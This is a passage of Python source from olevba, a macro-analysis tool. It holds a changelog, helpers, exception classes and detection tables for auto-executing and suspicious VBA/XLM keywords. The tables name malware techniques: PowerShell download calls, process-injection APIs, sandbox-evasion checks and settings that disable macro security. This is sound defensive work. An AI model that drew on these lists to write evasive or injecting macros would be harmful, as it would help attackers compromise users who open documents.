extract_macros to support OpenXML formats # and to find the VBA project root anywhere in the file # 2014-11-29 v0.04 PL: - use olefile instead of OleFileIO_PL # 2014-12-05 v0.05 PL: - refactored most functions into a class, new API # - added detect_vba_macros # 2014-12-10 v0.06 PL: - hide first lines with VB attributes # - detect auto-executable macros # - ignore empty macros # 2014-12-14 v0.07 PL: - detect_autoexec() is now case-insensitive # 2014-12-15 v0.08 PL: - improved display for empty macros # - added pattern extraction # 2014-12-25 v0.09 PL: - added suspicious keywords detection # 2014-12-27 v0.10 PL: - added OptionParser, main and process_file # - uses xglob to scan several files with wildcards # - option -r to recurse subdirectories # - option -z to scan files in password-protected zips # 2015-01-02 v0.11 PL: - improved filter_vba to detect colons # 2015-01-03 v0.12 PL: - fixed detect_patterns to detect all patterns # - process_file: improved display, shows container file # - improved list of executable file extensions # 2015-01-04 v0.13 PL: - added several suspicious keywords, improved display # 2015-01-08 v0.14 PL: - added hex strings detection and decoding # - fixed issue #2, decoding VBA stream names using # specified codepage and unicode stream names # 2015-01-11 v0.15 PL: - added new triage mode, options -t and -d # 2015-01-16 v0.16 PL: - fix for issue #3 (exception when module name="text") # - added several suspicious keywords # - added option -i to analyze VBA source code directly # 2015-01-17 v0.17 PL: - removed .com from the list of executable extensions # - added scan_vba to run all detection algorithms # - decoded hex strings are now also scanned + reversed # 2015-01-23 v0.18 PL: - fixed issue #3, case-insensitive search in code_modules # 2015-01-24 v0.19 PL: - improved the detection of IOCs obfuscated with hex # strings and StrReverse # 2015-01-26 v0.20 PL: - added option --hex to show all hex strings decoded # 2015-01-29 v0.21 PL: - added Dridex obfuscation decoding # - improved display, shows obfuscation name # 2015-02-01 v0.22 PL: - fixed issue #4: regex for URL, e-mail and exe filename # - added Base64 obfuscation decoding (contribution from # @JamesHabben) # 2015-02-03 v0.23 PL: - triage now uses VBA_Scanner results, shows Base64 and # Dridex strings # - exception handling in detect_base64_strings # 2015-02-07 v0.24 PL: - renamed option --hex to --decode, fixed display # - display exceptions with stack trace # - added several suspicious keywords # - improved Base64 detection and decoding # - fixed triage mode not to scan attrib lines # 2015-03-04 v0.25 PL: - added support for Word 2003 XML # 2015-03-22 v0.26 PL: - added suspicious keywords for sandboxing and # virtualisation detection # 2015-05-06 v0.27 PL: - added support for MHTML files with VBA macros # (issue #10 reported by Greg from SpamStopsHere) # 2015-05-24 v0.28 PL: - improved support for MHTML files with modified header # (issue #11 reported by Thomas Chopitea) # 2015-05-26 v0.29 PL: - improved MSO files parsing, taking into account # various data offsets (issue #12) # - improved detection of MSO files, avoiding incorrect # parsing errors (issue #7) # 2015-05-29 v0.30 PL: - added suspicious keywords suggested by @ozhermit, # Davy Douhine (issue #9), issue #13 # 2015-06-16 v0.31 PL: - added generic VBA expression deobfuscation (chr,asc,etc) # 2015-06-19 PL: - added options -a, -c, --each, --attr # 2015-06-21 v0.32 PL: - always display decoded strings which are printable # - fix VBA_Scanner.scan to return raw strings, not repr() # 2015-07-09 v0.40 PL: - removed usage of sys.stderr which causes issues # 2015-07-12 PL: - added Hex function decoding to VBA Parser # 2015-07-13 PL: - added Base64 function decoding to VBA Parser # 2015-09-06 PL: - improved VBA_Parser, refactored the main functions # 2015-09-13 PL: - moved main functions to a class VBA_Parser_CLI # - fixed issue when analysis was done twice # 2015-09-15 PL: - remove duplicate IOCs from results # 2015-09-16 PL: - join long VBA lines ending with underscore before scan # - disabled unused option --each # 2015-09-22 v0.41 PL: - added new option --reveal # - added suspicious strings for PowerShell.exe options # 2015-10-09 v0.42 PL: - VBA_Parser: split each format into a separate method # 2015-10-10 PL: - added support for text files with VBA source code # 2015-11-17 PL: - fixed bug with --decode option # 2015-12-16 PL: - fixed bug in main (no options input anymore) # - improved logging, added -l option # 2016-01-31 PL: - fixed issue #31 in VBA_Parser.open_mht # - fixed issue #32 by monkeypatching email.feedparser # 2016-02-07 PL: - KeyboardInterrupt is now raised properly # 2016-02-20 v0.43 PL: - fixed issue #34 in the VBA parser and vba_chr # 2016-02-29 PL: - added Workbook_Activate to suspicious keywords # 2016-03-08 v0.44 PL: - added VBA Form strings extraction and analysis # 2016-03-04 v0.45 CH: - added JSON output (by Christian Herdtweck) # 2016-03-16 CH: - added option --no-deobfuscate (temporary) # 2016-04-19 v0.46 PL: - new option --deobf instead of --no-deobfuscate # - updated suspicious keywords # 2016-05-04 v0.47 PL: - look for VBA code in any stream including orphans # 2016-04-28 CH: - return an exit code depending on the results # - improved error and exception handling # - improved JSON output # 2016-05-12 CH: - added support for PowerPoint 97-2003 files # 2016-06-06 CH: - improved handling of unicode VBA module names # 2016-06-07 CH: - added option --relaxed, stricter parsing by default # 2016-06-12 v0.50 PL: - fixed small bugs in VBA parsing code # 2016-07-01 PL: - fixed issue #58 with format() to support Python 2.6 # 2016-07-29 CH: - fixed several bugs including #73 (Mac Roman encoding) # 2016-08-31 PL: - added autoexec keyword InkPicture_Painted # - detect_autoexec now returns the exact keyword found # 2016-09-05 PL: - added autoexec keywords for MS Publisher (.pub) # 2016-09-06 PL: - fixed issue #20, is_zipfile on Python 2.6 # 2016-09-12 PL: - enabled packrat to improve pyparsing performance # 2016-10-25 PL: - fixed raise and print statements for Python 3 # 2016-11-03 v0.51 PL: - added EnumDateFormats and EnumSystemLanguageGroupsW # 2017-02-07 PL: - temporary fix for issue #132 # - added keywords for Mac-specific macros (issue #130) # 2017-03-08 PL: - fixed absolute imports # 2017-03-16 PL: - fixed issues #148 and #149 for option --reveal # 2017-05-19 PL: - added enable_logging to fix issue #154 # 2017-05-31 c1fe: - PR #135 fixing issue #132 for some Mac files # 2017-06-08 PL: - fixed issue #122 Chr() with negative numbers # 2017-06-15 PL: - deobfuscation line by line to handle large files # 2017-07-11 v0.52 PL: - raise exception instead of sys.exit (issue #180) # 2017-11-08 VB: - PR #124 adding user form parsing (Vincent Brillault) # 2017-11-17 PL: - fixed a few issues with form parsing # 2017-11-20 PL: - fixed issue #219, do not close the file too early # 2017-11-24 PL: - added keywords to detect self-modifying macros and # attempts to disable macro security (issue #221) # 2018-03-19 PL: - removed pyparsing from the thirdparty subfolder # 2018-04-15 v0.53 PL: - added support for Word/PowerPoint 2007+ XML (FlatOPC) # (issue #283) # 2018-09-11 v0.54 PL: - olefile is now a dependency # 2018-10-08 PL: - replace backspace before printing to console (issue #358) # 2018-10-25 CH: - detect encryption and raise error if detected # 2018-12-03 PL: - uses tablestream (+colors) instead of prettytable # 2018-12-06 PL: - colorize the suspicious keywords found in VBA code # 2019-01-01 PL: - removed support for Python 2.6 # 2019-03-18 PL: - added XLM/XLF macros detection for Excel OLE files # 2019-03-25 CH: - added decryption of password-protected files # 2019-04-09 PL: - decompress_stream accepts bytes (issue #422) # 2019-05-23 v0.55 PL: - added option --pcode to call pcodedmp and display P-code # 2019-06-05 PL: - added VBA stomping detection # 2019-09-24 PL: - included DridexUrlDecode into olevba (issue #485) # 2019-12-03 PL: - added support for SLK files and XLM macros in SLK # 2020-01-31 v0.56 KS: - added option --no-xlm, improved MHT detection # 2020-03-22 PL: - uses plugin_biff to display DCONN objects and their URL # 2020-06-11 PL: - fixed issue #575 when decompressing raw chunks in VBA # 2020-09-03 MX: - fixed issue #602 monkeypatch in email package # 2020-09-16 PL: - enabled relaxed mode by default (issues #477, #593) # - fixed detect_vba_macros to always return VBA code as # unicode on Python 3 (issues #455, #477, #587, #593) # 2020-09-28 PL: - added VBA_Parser.get_vba_code_all_modules (partial fix # for issue #619) __version__ = '0.56.1.dev2' #------------------------------------------------------------------------------ # TODO: # + setup logging (common with other oletools) # + add xor bruteforcing like bbharvest # + options -a and -c should imply -d # TODO later: # + performance improvement: instead of searching each keyword separately, # first split vba code into a list of words (per line), then check each # word against a dict. (or put vba words into a set/dict?) # + for regex, maybe combine them into a single re with named groups? # + add Yara support, include sample rules? plugins like balbuzard? # + add balbuzard support # + output to file (replace print by file.write, sys.stdout by default) # + look for VBA in embedded documents (e.g. Excel in Word) # + support SRP streams (see Lenny's article + links and sample) # - python 3.x support # - check VBA macros in Visio, Access, Project, etc # - extract_macros: convert to a class, split long function into smaller methods # - extract_macros: read bytes from stream file objects instead of strings # - extract_macros: use combined struct.unpack instead of many calls # - all except clauses should target specific exceptions # ------------------------------------------------------------------------------ # REFERENCES: # - [MS-OVBA]: Microsoft Office VBA File Format Structure # http://msdn.microsoft.com/en-us/library/office/cc313094%28v=office.12%29.aspx # - officeparser: https://github.com/unixfreak0037/officeparser # --- IMPORTS ------------------------------------------------------------------ import traceback import sys import os import logging import struct from io import BytesIO, StringIO import math import zipfile import re import argparse import binascii import base64 import zlib import email # for MHTML parsing import email.feedparser import string # for printable import json # for json output mode (argument --json) # import lxml or ElementTree for XML parsing: try: # lxml: best performance for XML processing import lxml.etree as ET except ImportError: try: # Python 2.5+: batteries included import xml.etree.cElementTree as ET except ImportError: try: # Python <2.5: standalone ElementTree install import elementtree.cElementTree as ET except ImportError: raise ImportError("lxml or ElementTree are not installed, " \ + "see http://codespeak.net/lxml " \ + "or http://effbot.org/zone/element-index.htm") import colorclass # On Windows, colorclass needs to be enabled: if os.name == 'nt': colorclass.Windows.enable(auto_colors=True) # IMPORTANT: it should be possible to run oletools directly as scripts # in any directory without installing them with pip or setup.py. # In that case, relative imports are NOT usable. # And to enable Python 2+3 compatibility, we need to use absolute imports, # so we add the oletools parent folder to sys.path (absolute+normalized path): _thismodule_dir = os.path.normpath(os.path.abspath(os.path.dirname(__file__))) # print('_thismodule_dir = %r' % _thismodule_dir) _parent_dir = os.path.normpath(os.path.join(_thismodule_dir, '..')) # print('_parent_dir = %r' % _thirdparty_dir) if _parent_dir not in sys.path: sys.path.insert(0, _parent_dir) import olefile from oletools.thirdparty.tablestream import tablestream from oletools.thirdparty.xglob import xglob, PathNotFoundException from pyparsing import \ CaselessKeyword, CaselessLiteral, Combine, Forward, Literal, \ Optional, QuotedString,Regex, Suppress, Word, WordStart, \ alphanums, alphas, hexnums,nums, opAssoc, srange, \ infixNotation, ParserElement from oletools import ppt_parser from oletools import oleform from oletools import rtfobj from oletools import crypto from oletools.common.io_encoding import ensure_stdout_handles_unicode from oletools.common import codepages # === PYTHON 2+3 SUPPORT ====================================================== if sys.version_info[0] <= 2: # Python 2.x PYTHON2 = True # to use ord on bytes/bytearray items the same way in Python 2+3 # on Python 2, just use the normal ord() because items are bytes byte_ord = ord #: Default string encoding for the olevba API DEFAULT_API_ENCODING = 'utf8' # on Python 2: UTF-8 (bytes) else: # Python 3.x+ PYTHON2 = False # to use ord on bytes/bytearray items the same way in Python 2+3 # on Python 3, items are int, so just return the item def byte_ord(x): return x # xrange is now called range: xrange = range # unichr does not exist anymore, only chr: unichr = chr # json2ascii also needs "unicode": unicode = str from functools import reduce #: Default string encoding for the olevba API DEFAULT_API_ENCODING = None # on Python 3: None (unicode) # Python 3.0 - 3.4 support: # From https://gist.github.com/ynkdir/867347/c5e188a4886bc2dd71876c7e069a7b00b6c16c61 if sys.version_info < (3, 5): import codecs _backslashreplace_errors = codecs.lookup_error("backslashreplace") def backslashreplace_errors(exc): if isinstance(exc, UnicodeDecodeError): u = "".join("\\x{0:02x}".format(c) for c in exc.object[exc.start:exc.end]) return u, exc.end return _backslashreplace_errors(exc) codecs.register_error("backslashreplace", backslashreplace_errors) def unicode2str(unicode_string): """ convert a unicode string to a native str: - on Python 3, it returns the same string - on Python 2, the string is encoded with UTF-8 to a bytes str :param unicode_string: unicode string to be converted :return: the string converted to str :rtype: str """ if PYTHON2: return unicode_string.encode('utf8', errors='replace') else: return unicode_string def bytes2str(bytes_string, encoding='utf8'): """ convert a bytes string to a native str: - on Python 2, it returns the same string (bytes=str) - on Python 3, the string is decoded using the provided encoding (UTF-8 by default) to a unicode str :param bytes_string: bytes string to be converted :param encoding: codec to be used for decoding :return: the string converted to str :rtype: str """ if PYTHON2: return bytes_string else: return bytes_string.decode(encoding, errors='replace') # === LOGGING ================================================================= def get_logger(name, level=logging.CRITICAL+1): """ Create a suitable logger object for this module. The goal is not to change settings of the root logger, to avoid getting other modules' logs on the screen. If a logger exists with same name, reuse it. (Else it would have duplicate handlers and messages would be doubled.) The level is set to CRITICAL+1 by default, to avoid any logging. """ # First, test if there is already a logger with the same name, else it # will generate duplicate messages (due to duplicate handlers): if name in logging.Logger.manager.loggerDict: # NOTE: another less intrusive but more "hackish" solution would be to # use getLogger then test if its effective level is not default. logger = logging.getLogger(name) # make sure level is OK: logger.setLevel(level) return logger # get a new logger: logger = logging.getLogger(name) # only add a NullHandler for this logger, it is up to the application # to configure its own logging: logger.addHandler(logging.NullHandler()) logger.setLevel(level) return logger # a global logger object used for debugging: log = get_logger('olevba') def enable_logging(): """ Enable logging for this module (disabled by default). This will set the module-specific logger level to NOTSET, which means the main application controls the actual logging level. """ log.setLevel(logging.NOTSET) # Also enable logging in the ppt_parser module: ppt_parser.enable_logging() crypto.enable_logging() #=== EXCEPTIONS ============================================================== class OlevbaBaseException(Exception): """ Base class for exceptions produced here for simpler except clauses """ def __init__(self, msg, filename=None, orig_exc=None, **kwargs): if orig_exc: super(OlevbaBaseException, self).__init__(msg + ' ({0})'.format(orig_exc), **kwargs) else: super(OlevbaBaseException, self).__init__(msg, **kwargs) self.msg = msg self.filename = filename self.orig_exc = orig_exc class FileOpenError(OlevbaBaseException): """ raised by VBA_Parser constructor if all open_... attempts failed probably means the file type is not supported """ def __init__(self, filename, orig_exc=None): super(FileOpenError, self).__init__( 'Failed to open file %s' % filename, filename, orig_exc) class ProcessingError(OlevbaBaseException): """ raised by VBA_Parser.process_file* functions """ def __init__(self, filename, orig_exc): super(ProcessingError, self).__init__( 'Error processing file %s' % filename, filename, orig_exc) class MsoExtractionError(RuntimeError, OlevbaBaseException): """ raised by mso_file_extract if parsing MSO/ActiveMIME data failed """ def __init__(self, msg): MsoExtractionError.__init__(self, msg) OlevbaBaseException.__init__(self, msg) class SubstreamOpenError(FileOpenError): """ special kind of FileOpenError: file is a substream of original file """ def __init__(self, filename, subfilename, orig_exc=None): super(SubstreamOpenError, self).__init__( str(filename) + '/' + str(subfilename), orig_exc) self.filename = filename # overwrite setting in OlevbaBaseException self.subfilename = subfilename class UnexpectedDataError(OlevbaBaseException): """ raised when parsing is strict (=not relaxed) and data is unexpected """ def __init__(self, stream_path, variable, expected, value): if isinstance(expected, int): es = '{0:04X}'.format(expected) elif isinstance(expected, tuple): es = ','.join('{0:04X}'.format(e) for e in expected) es = '({0})'.format(es) else: raise ValueError('Unknown type encountered: {0}'.format(type(expected))) super(UnexpectedDataError, self).__init__( 'Unexpected value in {0} for variable {1}: ' 'expected {2} but found {3:04X}!' .format(stream_path, variable, es, value)) self.stream_path = stream_path self.variable = variable self.expected = expected self.value = value #--- CONSTANTS ---------------------------------------------------------------- # return codes RETURN_OK = 0 RETURN_WARNINGS = 1 # (reserved, not used yet) RETURN_WRONG_ARGS = 2 # (fixed, built into argparse) RETURN_FILE_NOT_FOUND = 3 RETURN_XGLOB_ERR = 4 RETURN_OPEN_ERROR = 5 RETURN_PARSE_ERROR = 6 RETURN_SEVERAL_ERRS = 7 RETURN_UNEXPECTED = 8 RETURN_ENCRYPTED = 9 # MAC codepages (from http://stackoverflow.com/questions/1592925/decoding-mac-os-text-in-python) MAC_CODEPAGES = { 10000: 'mac-roman', 10001: 'shiftjis', # not found: 'mac-shift-jis', 10003: 'ascii', # nothing appropriate found: 'mac-hangul', 10008: 'gb2321', # not found: 'mac-gb2312', 10002: 'big5', # not found: 'mac-big5', 10005: 'hebrew', # not found: 'mac-hebrew', 10004: 'mac-arabic', 10006: 'mac-greek', 10081: 'mac-turkish', 10021: 'thai', # not found: mac-thai', 10029: 'maccentraleurope', # not found: 'mac-east europe', 10007: 'ascii', # nothing appropriate found: 'mac-russian', } # URL and message to report issues: URL_OLEVBA_ISSUES = 'https://github.com/decalage2/oletools/issues' MSG_OLEVBA_ISSUES = 'Please report this issue on %s' % URL_OLEVBA_ISSUES # Container types: TYPE_OLE = 'OLE' TYPE_OpenXML = 'OpenXML' TYPE_FlatOPC_XML = 'FlatOPC_XML' TYPE_Word2003_XML = 'Word2003_XML' TYPE_MHTML = 'MHTML' TYPE_TEXT = 'Text' TYPE_PPT = 'PPT' TYPE_SLK = 'SLK' # short tag to display file types in triage mode: TYPE2TAG = { TYPE_OLE: 'OLE:', TYPE_OpenXML: 'OpX:', TYPE_FlatOPC_XML: 'FlX:', TYPE_Word2003_XML: 'XML:', TYPE_MHTML: 'MHT:', TYPE_TEXT: 'TXT:', TYPE_PPT: 'PPT:', TYPE_SLK: 'SLK:', } # MSO files ActiveMime header magic MSO_ACTIVEMIME_HEADER = b'ActiveMime' MODULE_EXTENSION = "bas" CLASS_EXTENSION = "cls" FORM_EXTENSION = "frm" # Namespaces and tags for Word2003 XML parsing: NS_W = '{http://schemas.microsoft.com/office/word/2003/wordml}' # the tag <w:binData w:name="editdata.mso"> contains the VBA macro code: TAG_BINDATA = NS_W + 'binData' ATTR_NAME = NS_W + 'name' # Namespaces and tags for Word/PowerPoint 2007+ XML parsing: # root: <pkg:package xmlns:pkg="http://schemas.microsoft.com/office/2006/xmlPackage"> NS_XMLPACKAGE = '{http://schemas.microsoft.com/office/2006/xmlPackage}' TAG_PACKAGE = NS_XMLPACKAGE + 'package' # the tag <pkg:part> includes <pkg:binaryData> that contains the VBA macro code in Base64: # <pkg:part pkg:name="/word/vbaProject.bin" pkg:contentType="application/vnd.ms-office.vbaProject"><pkg:binaryData> TAG_PKGPART = NS_XMLPACKAGE + 'part' ATTR_PKG_NAME = NS_XMLPACKAGE + 'name' ATTR_PKG_CONTENTTYPE = NS_XMLPACKAGE + 'contentType' CTYPE_VBAPROJECT = "application/vnd.ms-office.vbaProject" TAG_PKGBINDATA = NS_XMLPACKAGE + 'binaryData' # Keywords to detect auto-executable macros # Simple strings, without regex characters: AUTOEXEC_KEYWORDS = { # MS Word: 'Runs when the Word document is opened': ('AutoExec', 'AutoOpen', 'DocumentOpen'), 'Runs when the Word document is closed': ('AutoExit', 'AutoClose', 'Document_Close', 'DocumentBeforeClose'), 'Runs when the Word document is modified': ('DocumentChange',), 'Runs when a new Word document is created': ('AutoNew', 'Document_New', 'NewDocument'), # MS Word and Publisher: 'Runs when the Word or Publisher document is opened': ('Document_Open',), 'Runs when the Publisher document is closed': ('Document_BeforeClose',), # MS Excel: 'Runs when the Excel Workbook is opened': ('Auto_Open', 'Workbook_Open', 'Workbook_Activate', 'Auto_Ope'), # TODO: "Auto_Ope" is temporarily here because of a bug in plugin_biff, which misses the last byte in "Auto_Open"... 'Runs when the Excel Workbook is closed': ('Auto_Close', 'Workbook_Close'), #Worksheet_Calculate to Autoexec: see http://www.certego.net/en/news/advanced-vba-macros/ 'May run when an Excel WorkSheet is opened': ('Worksheet_Calculate',), } # Keywords to detect auto-executable macros # Regular expressions: AUTOEXEC_KEYWORDS_REGEX = { # any MS Office application: 'Runs when the file is opened (using InkPicture ActiveX object)': # ref:https://twitter.com/joe4security/status/770691099988025345 (r'\w+_Painted', r'\w+_Painting'), 'Runs when the file is opened and ActiveX objects trigger events': (r'\w+_GotFocus', r'\w+_LostFocus', r'\w+_MouseHover', r'\w+_Click', r'\w+_Change', r'\w+_Resize', r'\w+_BeforeNavigate2', r'\w+_BeforeScriptExecute', r'\w+_DocumentComplete', r'\w+_DownloadBegin', r'\w+_DownloadComplete', r'\w+_FileDownload', r'\w+_NavigateComplete2', r'\w+_NavigateError', r'\w+_ProgressChange', r'\w+_PropertyChange', r'\w+_SetSecureLockIcon', r'\w+_StatusTextChange', r'\w+_TitleChange', r'\w+_MouseMove', r'\w+_MouseEnter', r'\w+_MouseLeave', r'\w+_Layout', r'\w+_OnConnecting', r'\w+_FollowHyperlink', r'\w+_ContentControlOnEnter'), } # Suspicious Keywords that may be used by malware # See VBA language reference: http://msdn.microsoft.com/en-us/library/office/jj692818%28v=office.15%29.aspx SUSPICIOUS_KEYWORDS = { #TODO: use regex to support variable whitespaces #http://www.certego.net/en/news/advanced-vba-macros/ 'May read system environment variables': ('Environ','Win32_Environment','Environment','ExpandEnvironmentStrings','HKCU\\Environment', 'HKEY_CURRENT_USER\\Environment'), 'May open a file': ('Open',), 'May write to a file (if combined with Open)': #TODO: regex to find Open+Write on same line ('Write', 'Put', 'Output', 'Print #'), 'May read or write a binary file (if combined with Open)': #TODO: regex to find Open+Binary on same line ('Binary',), 'May copy a file': ('FileCopy', 'CopyFile','CopyHere','CopyFolder'), #FileCopy: http://msdn.microsoft.com/en-us/library/office/gg264390%28v=office.15%29.aspx #CopyFile: http://msdn.microsoft.com/en-us/library/office/gg264089%28v=office.15%29.aspx #CopyHere, MoveHere, MoveHere and MoveFolder exploitation: see http://www.certego.net/en/news/advanced-vba-macros/ 'May move a file': ('MoveHere', 'MoveFile', 'MoveFolder'), 'May delete a file': ('Kill',), 'May create a text file': ('CreateTextFile', 'ADODB.Stream', 'WriteText', 'SaveToFile'), #CreateTextFile: http://msdn.microsoft.com/en-us/library/office/gg264617%28v=office.15%29.aspx #ADODB.Stream sample: http://pastebin.com/Z4TMyuq6 #ShellExecute: https://twitter.com/StanHacked/status/1075088449768693762 #InvokeVerb, InvokeVerbEx, DoIt and ControlPanelItem: see http://www.certego.net/en/news/advanced-vba-macros/ 'May run an executable file or a system command': ('Shell', 'vbNormal', 'vbNormalFocus', 'vbHide', 'vbMinimizedFocus', 'vbMaximizedFocus', 'vbNormalNoFocus', 'vbMinimizedNoFocus', 'WScript.Shell', 'Run', 'ShellExecute', 'ShellExecuteA', 'shell32','InvokeVerb','InvokeVerbEx', 'DoIt'), 'May run a dll': ('ControlPanelItem',), # Win32_Process.Create https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process 'May execute file or a system command through WMI': ('Create',), # WMI https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process # MacScript: see https://msdn.microsoft.com/en-us/library/office/gg264812.aspx # AppleScript: see https://docs.microsoft.com/en-us/office/vba/office-mac/applescripttask 'May run an executable file or a system command on a Mac': ('MacScript','AppleScript'), #Shell: http://msdn.microsoft.com/en-us/library/office/gg278437%28v=office.15%29.aspx #WScript.Shell+Run sample: http://pastebin.com/Z4TMyuq6 'May run PowerShell commands': #sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ #also: https://bitbucket.org/decalage/oletools/issues/14/olevba-library-update-ioc # ref: https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ # TODO: add support for keywords starting with a non-alpha character, such as "-noexit" # TODO: '-command', '-EncodedCommand', '-scriptblock' ('PowerShell', 'noexit', 'ExecutionPolicy', 'noprofile', 'command', 'EncodedCommand', 'invoke-command', 'scriptblock', 'Invoke-Expression', 'AuthorizationManager'), 'May run an executable file or a system command using PowerShell': ('Start-Process',), 'May call a DLL using Excel 4 Macros (XLM/XLF)': ('CALL',), 'May hide the application': ('Application.Visible', 'ShowWindow', 'SW_HIDE'), 'May create a directory': ('MkDir',), 'May save the current workbook': ('ActiveWorkbook.SaveAs',), 'May change which directory contains files to open at startup': #TODO: confirm the actual effect ('Application.AltStartupPath',), 'May create an OLE object': ('CreateObject',), #bypass CreateObject http://www.certego.net/en/news/advanced-vba-macros/ 'May get an OLE object with a running instance': ('GetObject',), 'May create an OLE object using PowerShell': ('New-Object',), 'May run an application (if combined with CreateObject)': ('Shell.Application',), 'May run an Excel 4 Macro (aka XLM/XLF) from VBA': ('ExecuteExcel4Macro',), 'May enumerate application windows (if combined with Shell.Application object)': ('Windows', 'FindWindow'), 'May run code from a DLL': #TODO: regex to find declare+lib on same line - see mraptor ('Lib',), 'May run code from a library on a Mac': #TODO: regex to find declare+lib on same line - see mraptor ('libc.dylib', 'dylib'), 'May inject code into another process': ('CreateThread', 'CreateUserThread', 'VirtualAlloc', # (issue #9) suggested by Davy Douhine - used by MSF payload 'VirtualAllocEx', 'RtlMoveMemory', 'WriteProcessMemory', 'SetContextThread', 'QueueApcThread', 'WriteVirtualMemory', 'VirtualProtect', ), 'May run a shellcode in memory': ('SetTimer', # Vidar sample: https://app.any.run/tasks/897f28e7-3162-4b65-b268-2655543199d6/ ), 'May download files from the Internet': #TODO: regex to find urlmon+URLDownloadToFileA on same line ('URLDownloadToFileA', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP', 'MSXML2.ServerXMLHTTP', # suggested in issue #13 'User-Agent', # sample from @ozhermit: http://pastebin.com/MPc3iV6z ), 'May download files from the Internet using PowerShell': #sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ ('Net.WebClient', 'DownloadFile', 'DownloadString'), 'May control another application by simulating user keystrokes': ('SendKeys', 'AppActivate'), #SendKeys: http://msdn.microsoft.com/en-us/library/office/gg278655%28v=office.15%29.aspx 'May attempt to obfuscate malicious function calls': ('CallByName',), #CallByName: http://msdn.microsoft.com/en-us/library/office/gg278760%28v=office.15%29.aspx 'May attempt to obfuscate specific strings (use option --deobf to deobfuscate)': #TODO: regex to find several Chr*, not just one ('Chr', 'ChrB', 'ChrW', 'StrReverse', 'Xor'), #Chr: http://msdn.microsoft.com/en-us/library/office/gg264465%28v=office.15%29.aspx 'May read or write registry keys': #sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ ('RegOpenKeyExA', 'RegOpenKeyEx', 'RegCloseKey'), 'May read registry keys': #sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ ('RegQueryValueExA', 'RegQueryValueEx', 'RegRead', #with Wscript.Shell ), 'May detect virtualization': # sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ (r'SYSTEM\ControlSet001\Services\Disk\Enum', 'VIRTUAL', 'VMWARE', 'VBOX'), 'May detect Anubis Sandbox': # sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ # NOTES: this sample also checks App.EXEName but that seems to be a bug, it works in VB6 but not in VBA # ref: http://www.syssec-project.eu/m/page-media/3/disarm-raid11.pdf ('GetVolumeInformationA', 'GetVolumeInformation', # with kernel32.dll '1824245000', r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId', '76487-337-8429955-22614', 'andy', 'sample', r'C:\exec\exec.exe', 'popupkiller' ), 'May detect Sandboxie': # sample: https://malwr.com/analysis/M2NjZWNmMjA0YjVjNGVhYmJlZmFhNWY4NmQxZDllZTY/ # ref: http://www.cplusplus.com/forum/windows/96874/ ('SbieDll.dll', 'SandboxieControlWndClass'), 'May detect Sunbelt Sandbox': # ref: http://www.cplusplus.com/forum/windows/96874/ (r'C:\file.exe',), 'May detect Norman Sandbox': # ref: http://www.cplusplus.com/forum/windows/96874/ ('currentuser',), 'May detect CW Sandbox': # ref: http://www.cplusplus.com/forum/windows/96874/ ('Schmidti',), 'May detect WinJail Sandbox': # ref: http://www.cplusplus.com/forum/windows/96874/ ('Afx:400000:0',), 'May attempt to disable VBA macro security and Protected View': # ref: http://blog.trendmicro.com/trendlabs-security-intelligence/qkg-filecoder-self-replicating-document-encrypting-ransomware/ # ref: https://thehackernews.com/2017/11/ms-office-macro-malware.html ('AccessVBOM', 'VBAWarnings', 'ProtectedView', 'DisableAttachementsInPV', 'DisableInternetFilesInPV', 'DisableUnsafeLocationsInPV', 'blockcontentexecutionfrominternet'), 'May attempt to modify the VBA code (self-modification)': ('VBProject', 'VBComponents', 'CodeModule', 'AddFromString'), 'May modify Excel 4 Macro formulas at runtime (XLM/XLF)': ('FORMULA.FILL',), } # Suspicious Keywords to be searched for directly as regex, without escaping SUSPICIOUS_KEYWORDS_REGEX = { 'May use Word Document Variables to store and hide data': (r'\.\s*Variables',), # '.Variables' with optional whitespaces after the dot # Vidar sample: https://app.any.run/tasks/897f28e7-3162-4b65-b268-2655543199d6/ 'May run a shellcode in memory': (r'EnumSystemLanguageGroupsW?', # Used by Hancitor in Oct 2016 r'EnumDateFormats(?:W|(?:Ex){1,2})?', # see https://msdn.microsoft.com/en-us/library/windows/desktop/dd317810(v=vs.85).aspx ), 'May run an executable file or a system command on a Mac (if combined with libc.dylib)': ('system', 'popen', r'exec[lv][ep]?'), 'May run an executable file or a system command using Excel 4 Macros (XLM/XLF)': (r'(?<!Could contain following functions: )EXEC',), 'Could contain a function that allows to run an executable file or a system command using Excel 4 Macros (XLM/XLF)': (r'Could contain following functions: EXEC',), 'May call a DLL using Excel 4 Macros (XLM/XLF)': (r'(?<!Could contain following functions: )REGISTER',), 'Could contain a function that allows to call a DLL using Excel 4 Macros (XLM/XLF)': (r'Could contain following functions: REGISTER',), } # Suspicious Keywords to be searched for directly as strings, without regex SUSPICIOUS_KEYWORDS_NOREGEX = { 'May use special characters such as backspace to obfuscate code when printed on the console': ('\b',), } # Regular Expression for a URL: # http://en.wikipedia.org/wiki/Uniform_resource_locator # http://www.w3.org/Addressing/URL/uri-spec.html #TODO: also support username:password@server #TODO: other protocols (file, gopher, wais, ...?) SCHEME = r'\b(?:http|ftp)s?' # see http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains TLD = r'(?:xn--[a-zA-Z0-9]{4,20}|[a-zA-Z]{2,20})' DNS_NAME = r'(?:[a-zA-Z0-9\-\.]+\.' + TLD + ')' #TODO: IPv6 - see https://www.debuggex.com/ # A literal numeric IPv6 address may be given, but must be enclosed in [ ] e.g. [db8:0cec::99:123a] NUMBER_0_255 = r'(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])' IPv4 = 